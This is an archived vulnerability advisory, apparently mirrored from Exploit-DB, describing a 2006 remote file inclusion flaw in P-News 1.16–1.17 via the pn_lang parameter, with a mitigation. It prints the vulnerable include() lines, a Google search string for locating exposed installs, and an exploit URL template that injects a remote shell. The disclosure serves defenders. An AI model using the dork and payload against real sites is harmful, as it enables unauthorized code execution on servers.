P-News 1.16, 1.17 Remote File Inclusion Vulnerability

vendor:

P-News

by:

vegas78

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: P-News

Affected Version From: 1.16

Affected Version To: 1.17

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

P-News 1.16, 1.17 Remote File Inclusion Vulnerability

P-News 1.16 and 1.17 are vulnerable to a Remote File Inclusion vulnerability. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. This request contains a URL in the pn_lang parameter that points to a malicious file on a remote server. If successful, the malicious file will be executed on the vulnerable server.

Mitigation:

Make absolute path declaration or update to the new 2.* version

Source

Exploit-DB raw data:

============================================
P-News 1.16, 1.17 Remote File Inclusion Vulnerability
============================================

Discovered by vegas78 - feel82[at]web.de
============================================
Greetz: scoper, corny, smaesch0r, Sascha Schmalz, 
        ReFleCtion, BleX, |pupi (?),   
============================================

include("$pn_lang/functions.php"); // bad code
include("$pn_lang/language.php"); // bad code
...

fix:
make absolute path declaration or update to the new 2.* version

// Google string
allintitle:"P-news ver. 1.16" / allinurl:p-news.php

================================================================

http://site/p-news.php?pn_lang=[shell]

================================================================

# milw0rm.com [2006-10-16]